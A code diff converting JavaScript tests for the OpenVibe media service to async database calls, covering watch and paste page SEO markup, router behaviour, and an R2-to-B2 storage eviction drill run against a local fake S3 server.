+ assert.strictEqual(pages.wantsHtmlPage({ method: 'POST', headers: { accept: 'text/html' }, query: {} }), false);
-// ── Watch page: SEO + Frame + canonical rules ──
-const vod = {
- id: 42, app_id: 'live', title: 'Late night <build>', description: 'We built a thing & it worked.',
- file_path: '/x/vod-42.mp4', thumbnail_url: '/t/vod-42-1.jpg', duration_seconds: 3725, view_count: 1234,
- is_public: 1, visibility: 'public', created_at: '2026-09-10 20:15:00', ai_overview: 'AI says: nice.',
-};
-const html = pages.renderWatchPage('vod', vod);
-assert.ok(html.includes('<title>Late night <build> — OpenVibe.Media</title>'));
-assert.ok(html.includes('<link rel="canonical" href="https://openvibe.live/vod/42">'), 'Live-owned VOD is canonical on Live');
-assert.ok(html.includes('<meta name="robots" content="noindex, follow">'));
-assert.ok(/\/shared\/theme-loader\.js\?v=[0-9a-f]{12}/.test(html), 'this site\'s own pinned Frame files');
-assert.ok(html.indexOf('theme-loader.js') < html.indexOf('<style>'), 'theme-loader runs before the styles');
-assert.ok(/\/shared\/navbar\.js\?v=[0-9a-f]{12}/.test(html) && /\/shared\/footer\.js\?v=[0-9a-f]{12}/.test(html), 'the Frame from this site\'s own pinned copy');
-assert.ok(html.includes('"service":"media"') && html.includes('"history":{"type":"vod","title":"Late night <build>"}'.replace('<', '\\u003c')));
-assert.ok(html.includes('"variant":"compact"'));
-assert.ok(html.includes('<meta property="og:type" content="video.other">'));
-assert.ok(html.includes('<meta property="og:video" content="https://media.test/v/42?raw=1">'));
-assert.ok(html.includes('<meta name="twitter:card" content="summary_large_image">'));
-assert.ok(html.includes('src="https://media.test/v/42?raw=1"'), 'the player fetches the bytes with ?raw=1');
-const ld = JSON.parse(/<script type="application\/ld\+json">([\s\S]*?)<\/script>/.exec(html)[1]);
-assert.strictEqual(ld['@type'], 'VideoObject');
-assert.strictEqual(ld.duration, 'PT1H2M5S');
-assert.strictEqual(ld.uploadDate, '2026-09-10T20:15:00.000Z');
-assert.deepStrictEqual(ld.thumbnailUrl, ['https://media.test/t/vod-42-1.jpg']);
-assert.strictEqual(ld.url, 'https://openvibe.live/vod/42');
-assert.ok(!html.includes('</script>"'), 'no script-closing sequence smuggled through JSON');
+ // ── Watch page: SEO + Frame + canonical rules ──
+ const vod = {
+ id: 42, app_id: 'live', title: 'Late night <build>', description: 'We built a thing & it worked.',
+ file_path: '/x/vod-42.mp4', thumbnail_url: '/t/vod-42-1.jpg', duration_seconds: 3725, view_count: 1234,
+ is_public: 1, visibility: 'public', created_at: '2026-09-10 20:15:00', ai_overview: 'AI says: nice.',
+ };
+ const html = pages.renderWatchPage('vod', vod);
+ assert.ok(html.includes('<title>Late night <build> — OpenVibe.Media</title>'));
+ assert.ok(html.includes('<link rel="canonical" href="https://openvibe.live/vod/42">'), 'Live-owned VOD is canonical on Live');
+ assert.ok(html.includes('<meta name="robots" content="noindex, follow">'));
+ assert.ok(/\/shared\/theme-loader\.js\?v=[0-9a-f]{12}/.test(html), 'this site\'s own pinned Frame files');
+ assert.ok(html.indexOf('theme-loader.js') < html.indexOf('<style>'), 'theme-loader runs before the styles');
+ assert.ok(/\/shared\/navbar\.js\?v=[0-9a-f]{12}/.test(html) && /\/shared\/footer\.js\?v=[0-9a-f]{12}/.test(html), 'the Frame from this site\'s own pinned copy');
+ assert.ok(html.includes('"service":"media"') && html.includes('"history":{"type":"vod","title":"Late night <build>"}'.replace('<', '\\u003c')));
+ assert.ok(html.includes('"variant":"compact"'));
+ assert.ok(html.includes('<meta property="og:type" content="video.other">'));
+ assert.ok(html.includes('<meta property="og:video" content="https://media.test/v/42?raw=1">'));
+ assert.ok(html.includes('<meta name="twitter:card" content="summary_large_image">'));
+ assert.ok(html.includes('src="https://media.test/v/42?raw=1"'), 'the player fetches the bytes with ?raw=1');
+ const ld = JSON.parse(/<script type="application\/ld\+json">([\s\S]*?)<\/script>/.exec(html)[1]);
+ assert.strictEqual(ld['@type'], 'VideoObject');
+ assert.strictEqual(ld.duration, 'PT1H2M5S');
+ assert.strictEqual(ld.uploadDate, '2026-09-10T20:15:00.000Z');
+ assert.deepStrictEqual(ld.thumbnailUrl, ['https://media.test/t/vod-42-1.jpg']);
+ assert.strictEqual(ld.url, 'https://openvibe.live/vod/42');
+ assert.ok(!html.includes('</script>"'), 'no script-closing sequence smuggled through JSON');
-const other = pages.renderWatchPage('clip', { ...vod, id: 7, app_id: 'games', title: 'Frag' });
-assert.ok(other.includes('<link rel="canonical" href="https://media.test/c/7">'), 'non-Live items are self-canonical');
-assert.ok(other.includes('<meta name="robots" content="index, follow">'));
-const unlisted = pages.renderWatchPage('clip', { ...vod, id: 8, app_id: 'games', visibility: 'unlisted' });
-assert.ok(unlisted.includes('content="noindex, follow"'), 'unlisted never indexes');
+ const other = pages.renderWatchPage('clip', { ...vod, id: 7, app_id: 'games', title: 'Frag' });
+ assert.ok(other.includes('<link rel="canonical" href="https://media.test/c/7">'), 'non-Live items are self-canonical');
+ assert.ok(other.includes('<meta name="robots" content="index, follow">'));
+ const unlisted = pages.renderWatchPage('clip', { ...vod, id: 8, app_id: 'games', visibility: 'unlisted' });
+ assert.ok(unlisted.includes('content="noindex, follow"'), 'unlisted never indexes');
-// ── Paste viewer: canonical on Community, noindex, Article JSON-LD ──
-const paste = { slug: 'abc-123', title: 'hello.js', type: 'paste', content: 'console.log("hi")', language: 'javascript', views: 3, unique_views: 2, created_at: '2026-09-01 10:00:00', updated_at: '2026-09-02 10:00:00', ai_tags: '["js","demo"]' };
-const ph = pages.renderPastePage(paste);
-assert.ok(ph.includes('<link rel="canonical" href="https://openvibe.community/p/abc-123">'));
-assert.ok(ph.includes('<meta name="robots" content="noindex, follow">'));
-assert.ok(ph.includes('href="https://openvibe.community/p/abc-123"'), 'header links to the Community page');
-assert.ok(ph.includes('console.log("hi")'));
-assert.ok(ph.includes('"history":{"type":"paste","title":"hello.js"}'));
-const pld = JSON.parse(/<script type="application\/ld\+json">([\s\S]*?)<\/script>/.exec(ph)[1]);
-assert.strictEqual(pld['@type'], 'Article');
-assert.strictEqual(pld.mainEntityOfPage, 'https://openvibe.community/p/abc-123');
-assert.strictEqual(pld.keywords, 'js, demo');
-const shot = pages.renderPastePage({ ...paste, slug: 'img-1', type: 'screenshot', screenshot_path: '/x/y.png', content: 'a caption' });
-assert.ok(shot.includes('<meta property="og:image" content="https://media.test/p/img-1/screenshot">'));
-assert.ok(shot.includes('"@type":"ImageObject"'));
-assert.ok(!/\bfree\b/i.test(html + ph + shot + pageFrame.baseCss()), 'no cost claims in served HTML');
+ // ── Paste viewer: canonical on Community, noindex, Article JSON-LD ──
+ const paste = { slug: 'abc-123', title: 'hello.js', type: 'paste', content: 'console.log("hi")', language: 'javascript', views: 3, unique_views: 2, created_at: '2026-09-01 10:00:00', updated_at: '2026-09-02 10:00:00', ai_tags: '["js","demo"]' };
+ const ph = pages.renderPastePage(paste);
+ assert.ok(ph.includes('<link rel="canonical" href="https://openvibe.community/p/abc-123">'));
+ assert.ok(ph.includes('<meta name="robots" content="noindex, follow">'));
+ assert.ok(ph.includes('href="https://openvibe.community/p/abc-123"'), 'header links to the Community page');
+ assert.ok(ph.includes('console.log("hi")'));
+ assert.ok(ph.includes('"history":{"type":"paste","title":"hello.js"}'));
+ const pld = JSON.parse(/<script type="application\/ld\+json">([\s\S]*?)<\/script>/.exec(ph)[1]);
+ assert.strictEqual(pld['@type'], 'Article');
+ assert.strictEqual(pld.mainEntityOfPage, 'https://openvibe.community/p/abc-123');
+ assert.strictEqual(pld.keywords, 'js, demo');
+ const shot = pages.renderPastePage({ ...paste, slug: 'img-1', type: 'screenshot', screenshot_path: '/x/y.png', content: 'a caption' });
+ assert.ok(shot.includes('<meta property="og:image" content="https://media.test/p/img-1/screenshot">'));
+ assert.ok(shot.includes('"@type":"ImageObject"'));
+ assert.ok(!/\bfree\b/i.test(html + ph + shot + pageFrame.baseCss()), 'no cost claims in served HTML');
-// ── End to end through the router: navigation → page, ?raw=1 → bytes path ──
-const express = require('express');
-const raw = db.getDb();
-raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, duration_seconds) VALUES (?, ?, ?, ?, 1, 'public', 10)`).run(42, 'live', 'Router VOD', '/nonexistent/vod-42.mp4');
-raw.prepare(`INSERT INTO pastes (slug, app_id, title, type, content, language, visibility) VALUES (?, 'live', 'P', 'paste', 'x', 'text', 'public')`).run('slug1');
-const app = express();
-app.use('/', require('../server/public/routes'));
-const server = app.listen(0);
-const port = server.address().port;
-const get = (p, headers) => new Promise((resolve, reject) => {
- http.get({ host: '127.0.0.1', port, path: p, headers }, (res) => {
- let body = ''; res.setEncoding('utf8'); res.on('data', c => { body += c; }); res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body }));
- }).on('error', reject);
-});
-(async () => {
- const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };
- let r = await get('/v/42', nav);
- assert.strictEqual(r.status, 200);
- assert.ok(r.headers['content-type'].startsWith('text/html'));
- assert.ok(r.body.includes('Router VOD') && r.body.includes('id="navbar-mount"'));
- r = await get('/v/42?raw=1', nav);
- assert.strictEqual(r.status, 404, 'bytes path (no file on disk → 404 JSON), not the page');
- assert.ok(r.headers['content-type'].startsWith('application/json'));
- r = await get('/v/42', { accept: 'video/webm,video/ogg,video/*;q=0.9,*/*;q=0.5', 'sec-fetch-dest': 'video' });
- assert.strictEqual(r.status, 404, 'a <video> element never gets HTML');
- r = await get('/p/slug1', nav);
- assert.strictEqual(r.status, 200);
- assert.ok(r.body.includes('https://openvibe.community/p/slug1'));
- r = await get('/og-image.png', {});
- assert.strictEqual(r.status, 200);
- assert.strictEqual(r.headers['content-type'], 'image/png');
- server.close();
- for (const ext of ['', '-wal', '-shm']) { try { fs.unlinkSync(tmp + ext); } catch { /* */ } }
- console.log('public pages: all checks passed');
- process.exit(0);
-})().catch((err) => { console.error(err); server.close(); process.exit(1); });
+ // ── End to end through the router: navigation → page, ?raw=1 → bytes path ──
+ const express = require('express');
+ const raw = db.getDb();
+ await raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, duration_seconds) OVERRIDING SYSTEM VALUE VALUES (?, ?, ?, ?, 1, 'public', 10) RETURNING id`).run(42, 'live', 'Router VOD', '/nonexistent/vod-42.mp4');
+ await raw.prepare(`INSERT INTO pastes (slug, app_id, title, type, content, language, visibility) VALUES (?, 'live', 'P', 'paste', 'x', 'text', 'public') RETURNING id`).run('slug1');
+ const app = express();
+ app.use('/', require('../server/public/routes'));
+ const server = app.listen(0);
+ const port = server.address().port;
+ const get = (p, headers) => new Promise((resolve, reject) => {
+ http.get({ host: '127.0.0.1', port, path: p, headers }, (res) => {
+ let body = ''; res.setEncoding('utf8'); res.on('data', c => { body += c; }); res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body }));
+ }).on('error', reject);
+ });
+ (async () => {
+ const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };
+ let r = await get('/v/42', nav);
+ assert.strictEqual(r.status, 200);
+ assert.ok(r.headers['content-type'].startsWith('text/html'));
+ assert.ok(r.body.includes('Router VOD') && r.body.includes('id="navbar-mount"'));
+ r = await get('/v/42?raw=1', nav);
+ assert.strictEqual(r.status, 404, 'bytes path (no file on disk → 404 JSON), not the page');
+ assert.ok(r.headers['content-type'].startsWith('application/json'));
+ r = await get('/v/42', { accept: 'video/webm,video/ogg,video/*;q=0.9,*/*;q=0.5', 'sec-fetch-dest': 'video' });
+ assert.strictEqual(r.status, 404, 'a <video> element never gets HTML');
+ r = await get('/p/slug1', nav);
+ assert.strictEqual(r.status, 200);
+ assert.ok(r.body.includes('https://openvibe.community/p/slug1'));
+ r = await get('/og-image.png', {});
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual(r.headers['content-type'], 'image/png');
+ server.close();
+ for (const ext of ['', '-wal', '-shm']) { try { fs.unlinkSync(tmp + ext); } catch { /* */ } }
+ console.log('public pages: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); server.close(); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -10,178 +10,179 @@ const os = require('os');
@@ -10,178 +10,179 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const { execFile } = require('child_process');
-// The fake S3 lives in this process, so the CLI must run without blocking it (no spawnSync).
-const runCli = (args) => new Promise((resolve) => {
- execFile(process.execPath, [path.join(__dirname, '../scripts/r2-eviction-drill.js'), ...args], { env: process.env, encoding: 'utf8' },
- (err, stdout, stderr) => resolve({ status: err ? err.code : 0, stdout, stderr }));
-});
+(async () => {
+ // In this process: the test database is here (PGlite), and the fake S3 answers while the script awaits it.
+ const { runScript } = require('./helpers/run-script');
+ const runCli = async (args) => { const r = await runScript(path.join(__dirname, '../scripts/r2-eviction-drill.js'), args); return { status: r.code, stdout: r.out, stderr: r.err }; };
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-r2drill-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-r2drill-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-// ── Fake S3: path-style /<bucket>/<key>; HEAD, GET (Range), PUT, DELETE ──
-const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };
-const s3log = [];
-let refusePutTo = null;
-function decodeAwsChunked(buf) {
- const out = [];
- let i = 0;
- for (;;) {
- const nl = buf.indexOf('\r\n', i);
- const size = parseInt(buf.subarray(i, nl).toString().split(';')[0], 16);
- if (!size) break;
- out.push(buf.subarray(nl + 2, nl + 2 + size));
- i = nl + 2 + size + 2;
+ // ── Fake S3: path-style /<bucket>/<key>; HEAD, GET (Range), PUT, DELETE ──
+ const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };
+ const s3log = [];
+ let refusePutTo = null;
+ function decodeAwsChunked(buf) {
+ const out = [];
+ let i = 0;
+ for (;;) {
+ const nl = buf.indexOf('\r\n', i);
+ const size = parseInt(buf.subarray(i, nl).toString().split(';')[0], 16);
+ if (!size) break;
+ out.push(buf.subarray(nl + 2, nl + 2 + size));
+ i = nl + 2 + size + 2;
+ }
+ return Buffer.concat(out);
}
}
- return Buffer.concat(out);
-}
-const s3 = http.createServer((req, res) => {
- const chunks = [];
- req.on('data', (c) => chunks.push(c));
- req.on('end', () => {
- const u = new URL(req.url, 'http://x');
- const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');
- const key = rest.join('/');
- const store = buckets[bucket];
- s3log.push([req.method, bucket, key]);
- if (!store) { res.writeHead(404); return res.end(); }
- const obj = store.get(key);
- if (req.method === 'HEAD' || req.method === 'GET') {
- if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }
- const m = /bytes=(\d+)-(\d+)?/.exec(req.headers.range || '');
- if (m && req.method === 'GET') {
- const start = Number(m[1]), end = Math.min(obj.length - 1, m[2] != null ? Number(m[2]) : obj.length - 1);
- res.writeHead(206, { 'Content-Length': end - start + 1, 'Content-Range': `bytes ${start}-${end}/${obj.length}`, ETag: '"e"' });
- return res.end(obj.subarray(start, end + 1));
+ const s3 = http.createServer((req, res) => {
+ const chunks = [];
+ req.on('data', (c) => chunks.push(c));
+ req.on('end', () => {
+ const u = new URL(req.url, 'http://x');
+ const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');
+ const key = rest.join('/');
+ const store = buckets[bucket];
+ s3log.push([req.method, bucket, key]);
+ if (!store) { res.writeHead(404); return res.end(); }
+ const obj = store.get(key);
+ if (req.method === 'HEAD' || req.method === 'GET') {
+ if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }
+ const m = /bytes=(\d+)-(\d+)?/.exec(req.headers.range || '');
+ if (m && req.method === 'GET') {
+ const start = Number(m[1]), end = Math.min(obj.length - 1, m[2] != null ? Number(m[2]) : obj.length - 1);
+ res.writeHead(206, { 'Content-Length': end - start + 1, 'Content-Range': `bytes ${start}-${end}/${obj.length}`, ETag: '"e"' });
+ return res.end(obj.subarray(start, end + 1));
+ }
+ res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"', 'Content-Type': 'video/webm' });
+ return res.end(req.method === 'GET' ? obj : undefined);
}
}
- res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"', 'Content-Type': 'video/webm' });
- return res.end(req.method === 'GET' ? obj : undefined);
- }
- if (req.method === 'PUT') {
- if (refusePutTo === bucket) { res.writeHead(500, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>InternalError</Code></Error>'); }
- let body = Buffer.concat(chunks);
- if (req.headers['x-amz-decoded-content-length'] || /aws-chunked/.test(req.headers['content-encoding'] || '')) body = decodeAwsChunked(body);
- store.set(key, body);
- res.writeHead(200, { ETag: '"e"' });
- return res.end();
- }
- if (req.method === 'DELETE') { store.delete(key); res.writeHead(204); return res.end(); }
- res.writeHead(405); res.end();
+ if (req.method === 'PUT') {
+ if (refusePutTo === bucket) { res.writeHead(500, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>InternalError</Code></Error>'); }
+ let body = Buffer.concat(chunks);
+ if (req.headers['x-amz-decoded-content-length'] || /aws-chunked/.test(req.headers['content-encoding'] || '')) body = decodeAwsChunked(body);
+ store.set(key, body);
+ res.writeHead(200, { ETag: '"e"' });
+ return res.end();
+ }
+ if (req.method === 'DELETE') { store.delete(key); res.writeHead(204); return res.end(); }
+ res.writeHead(405); res.end();
+ });
});
});
-});
-(async () => {
- await new Promise((r) => s3.listen(0, '127.0.0.1', r));
- const endpoint = `http://127.0.0.1:${s3.address().port}`;
- Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
- MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',
- MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',
- AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',
- });
- const db = require('../server/db/database');
- const model = require('../server/objects/model');
- const storage = require('../server/vod/vod-storage');
- const { runDrill, providerOfUrl } = require('../scripts/r2-eviction-drill');
- const conn = db.getDb();
- require('../server/views/service').ensureSchema();
+ (async () => {
+ await new Promise((r) => s3.listen(0, '127.0.0.1', r));
+ const endpoint = `http://127.0.0.1:${s3.address().port}`;
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),
+ MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',
+ MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',
+ AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',
+ });
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const storage = require('../server/vod/vod-storage');
+ // The revisioned tier policies load once the database is open (server/index.js does this at boot).
+ await storage.tierConfig.init(storage.DEFAULTS);
+ await require('../server/objects/tier-policy').init();
+ const { runDrill, providerOfUrl } = require('../scripts/r2-eviction-drill');
+ const conn = db.getDb();
- // Media serving /v/:id, as production does.
- const express = require('express');
- const app = express();
- app.use('/', require('../server/public/routes'));
- const media = http.createServer(app);
- await new Promise((r) => media.listen(0, '127.0.0.1', r));
- const baseUrl = `http://127.0.0.1:${media.address().port}`;
+ // Media serving /v/:id, as production does.
+ const express = require('express');
+ const app = express();
+ app.use('/', require('../server/public/routes'));
+ const media = http.createServer(app);
+ await new Promise((r) => media.listen(0, '127.0.0.1', r));
+ const baseUrl = `http://127.0.0.1:${media.address().port}`;
- const bytes = crypto.randomBytes(3 * 1024 * 1024 + 123);
- const addVod = (id, { provider = 'r2', visibility = 'public', size = bytes.length } = {}) => {
- const key = `vods/drill-${id}.webm`;
- conn.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, visibility, duration_seconds, storage_provider, storage_key)
- VALUES (?, 'live', 5, 'Drill', ?, ?, ?, ?, 60, ?, ?)`).run(id, `/gone/drill-${id}.webm`, size, visibility === 'private' ? 0 : 1, visibility, provider, key);
- buckets['b2-bucket'].set(key, bytes);
- if (provider === 'r2') buckets['r2-bucket'].set(key, bytes);
- model.sync('vod', id);
- return key;
- };
- const deps = { storage, db, model };
- const opts = (o) => ({ http: true, baseUrl, maxMb: 512, ...o });
- assert.strictEqual(providerOfUrl(`${endpoint}/r2-bucket/vods/x.webm?X-Amz-Signature=1`, storage), 'r2');
- assert.strictEqual(providerOfUrl('https://b2-bucket.s3.example/vods/x.webm', { bucketFor: (p) => `${p}-bucket`, endpointFor: () => 'https://s3.example' }), 'b2');
+ const bytes = crypto.randomBytes(3 * 1024 * 1024 + 123);
+ const addVod = async (id, { provider = 'r2', visibility = 'public', size = bytes.length } = {}) => {
+ const key = `vods/drill-${id}.webm`;
+ await conn.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, visibility, duration_seconds, storage_provider, storage_key) OVERRIDING SYSTEM VALUE
+ VALUES (?, 'live', 5, 'Drill', ?, ?, ?, ?, 60, ?, ?) RETURNING id`).run(id, `/gone/drill-${id}.webm`, size, visibility === 'private' ? 0 : 1, visibility, provider, key);
+ buckets['b2-bucket'].set(key, bytes);
+ if (provider === 'r2') buckets['r2-bucket'].set(key, bytes);
+ await model.sync('vod', id);
+ return key;
+ };
+ const deps = { storage, db, model };
+ const opts = (o) => ({ http: true, baseUrl, maxMb: 512, ...o });
+ assert.strictEqual(providerOfUrl(`${endpoint}/r2-bucket/vods/x.webm?X-Amz-Signature=1`, storage), 'r2');
+ assert.strictEqual(providerOfUrl('https://b2-bucket.s3.example/vods/x.webm', { bucketFor: (p) => `${p}-bucket`, endpointFor: () => 'https://s3.example' }), 'b2');
- // ── Dry run: checks only ──
- const key1 = addVod(1);
- let art = await runDrill(opts({ vodId: 1 }), deps);
- assert.strictEqual(art.verdict, 'dry-run', art.reason);
- assert.deepStrictEqual(art.steps.map((s) => s.name), ['plan']);
- assert.ok(buckets['r2-bucket'].has(key1) && db.get('SELECT storage_provider FROM vods WHERE id = 1').storage_provider === 'r2', 'nothing moved');
- assert.ok(!s3log.some(([m]) => m === 'PUT' || m === 'DELETE'), 'no writes to either bucket');
- assert.strictEqual(art.checks.first_mib.b2, art.checks.first_mib.r2);
- console.log('✅ dry run: preconditions and copy checks only, nothing changes');
+ // ── Dry run: checks only ──
+ const key1 = await addVod(1);
+ let art = await runDrill(opts({ vodId: 1 }), deps);
+ assert.strictEqual(art.verdict, 'dry-run', art.reason);
+ assert.deepStrictEqual(art.steps.map((s) => s.name), ['plan']);
+ assert.ok(buckets['r2-bucket'].has(key1) && (await db.get('SELECT storage_provider FROM vods WHERE id = 1')).storage_provider === 'r2', 'nothing moved');
+ assert.ok(!s3log.some(([m]) => m === 'PUT' || m === 'DELETE'), 'no writes to either bucket');
+ assert.strictEqual(art.checks.first_mib.b2, art.checks.first_mib.r2);
+ console.log('✅ dry run: preconditions and copy checks only, nothing changes');
- // ── Refusals ──
- const key2 = addVod(2);
- buckets['b2-bucket'].set(key2, bytes.subarray(0, 100));
- assert.match((await runDrill(opts({ vodId: 2, execute: true }), deps)).reason, /differ in size/);
- buckets['b2-bucket'].set(key2, Buffer.concat([Buffer.from('X'), bytes.subarray(1)]));
- assert.match((await runDrill(opts({ vodId: 2, execute: true }), deps)).reason, /first MiB/);
- buckets['b2-bucket'].delete(key2);
- assert.match((await runDrill(opts({ vodId: 2, execute: true }), deps)).reason, /B2 canonical copy is missing/);
- assert.ok(buckets['r2-bucket'].has(key2), 'a refused drill deletes nothing');
- addVod(3, { provider: 'b2' });
- assert.match((await runDrill(opts({ vodId: 3, execute: true }), deps)).reason, /not R2/);
- addVod(4);
- const hold = model.placeHold({ object_id: db.get('SELECT object_id FROM vods WHERE id = 4').object_id, kind: 'evidence', reason: 'drill test' });
- assert.match((await runDrill(opts({ vodId: 4, execute: true }), deps)).reason, /retention hold/);
- model.releaseHold(hold.id, 'test');
- addVod(5, { visibility: 'private' });
- assert.match((await runDrill(opts({ vodId: 5, execute: true }), deps)).reason, /private/);
- assert.strictEqual((await runDrill(opts({ pick: true }), deps)).vod_id, 1, '--pick takes the smallest public R2 VOD that is not held');
- console.log('✅ refused: canonical copy wrong size / different bytes / missing, not on R2, held, private over HTTP');
+ // ── Refusals ──
+ const key2 = await addVod(2);
+ buckets['b2-bucket'].set(key2, bytes.subarray(0, 100));
+ assert.match((await runDrill(opts({ vodId: 2, execute: true }), deps)).reason, /differ in size/);
+ buckets['b2-bucket'].set(key2, Buffer.concat([Buffer.from('X'), bytes.subarray(1)]));
+ assert.match((await runDrill(opts({ vodId: 2, execute: true }), deps)).reason, /first MiB/);
+ buckets['b2-bucket'].delete(key2);
+ assert.match((await runDrill(opts({ vodId: 2, execute: true }), deps)).reason, /B2 canonical copy is missing/);
+ assert.ok(buckets['r2-bucket'].has(key2), 'a refused drill deletes nothing');
+ await addVod(3, { provider: 'b2' });
+ assert.match((await runDrill(opts({ vodId: 3, execute: true }), deps)).reason, /not R2/);
+ await addVod(4);
+ const hold = await model.placeHold({ object_id: (await db.get('SELECT object_id FROM vods WHERE id = 4')).object_id, kind: 'evidence', reason: 'drill test' });
+ assert.match((await runDrill(opts({ vodId: 4, execute: true }), deps)).reason, /retention hold/);
+ await model.releaseHold(hold.id, 'test');
+ await addVod(5, { visibility: 'private' });
+ assert.match((await runDrill(opts({ vodId: 5, execute: true }), deps)).reason, /private/);
+ assert.strictEqual((await runDrill(opts({ pick: true }), deps)).vod_id, 1, '--pick takes the smallest public R2 VOD that is not held');
+ console.log('✅ refused: canonical copy wrong size / different bytes / missing, not on R2, held, private over HTTP');
- // ── Execute: evict, served from B2, re-warm, served from R2 ──
- s3log.length = 0;
- art = await runDrill(opts({ vodId: 1, execute: true }), deps);
- assert.strictEqual(art.verdict, 'pass', `${art.reason} ${JSON.stringify(art.steps, null, 1)}`);
- assert.deepStrictEqual(art.steps.map((s) => [s.name.split(':')[0], s.ok]), [['before', true], ['evict', true], ['from B2', true], ['re-warm', true], ['after', true]]);
- assert.deepStrictEqual([art.steps[0].provider, art.steps[2].provider, art.steps[4].provider], ['r2', 'b2', 'r2'], 'GET /v/1 went R2 -> B2 -> R2');
- assert.deepStrictEqual([art.steps[0].status, art.steps[2].range_status], [302, 206]);
- const sha = crypto.createHash('sha256').update(bytes.subarray(0, 1024 * 1024)).digest('hex');
- assert.ok(art.steps.filter((s) => s.first_mib_sha256).every((s) => s.first_mib_sha256 === sha), 'the same bytes every time');
- assert.ok(s3log.some(([m, b]) => m === 'DELETE' && b === 'r2-bucket') && s3log.some(([m, b]) => m === 'PUT' && b === 'r2-bucket'), 'the R2 copy was really deleted and written back');
- assert.ok(!s3log.some(([m, b]) => (m === 'DELETE' || m === 'PUT') && b === 'b2-bucket'), 'B2 was never written');
- assert.deepStrictEqual(buckets['r2-bucket'].get(key1), bytes, 'R2 holds the same bytes again');
- assert.strictEqual(db.get('SELECT storage_provider FROM vods WHERE id = 1').storage_provider, 'r2');
- assert.deepStrictEqual(art.locations.after_evict.map((l) => l.provider).sort(), ['b2']);
- assert.deepStrictEqual(art.locations.after.map((l) => [l.provider, l.state]).sort(), [['b2', 'present'], ['r2', 'present']]);
- console.log('✅ execute: R2 copy evicted, /v served from B2 with the same bytes, R2 re-warmed and serving again');
+ // ── Execute: evict, served from B2, re-warm, served from R2 ──
+ s3log.length = 0;
+ art = await runDrill(opts({ vodId: 1, execute: true }), deps);
+ assert.strictEqual(art.verdict, 'pass', `${art.reason} ${JSON.stringify(art.steps, null, 1)}`);
+ assert.deepStrictEqual(art.steps.map((s) => [s.name.split(':')[0], s.ok]), [['before', true], ['evict', true], ['from B2', true], ['re-warm', true], ['after', true]]);
+ assert.deepStrictEqual([art.steps[0].provider, art.steps[2].provider, art.steps[4].provider], ['r2', 'b2', 'r2'], 'GET /v/1 went R2 -> B2 -> R2');
+ assert.deepStrictEqual([art.steps[0].status, art.steps[2].range_status], [302, 206]);
+ const sha = crypto.createHash('sha256').update(bytes.subarray(0, 1024 * 1024)).digest('hex');
+ assert.ok(art.steps.filter((s) => s.first_mib_sha256).every((s) => s.first_mib_sha256 === sha), 'the same bytes every time');
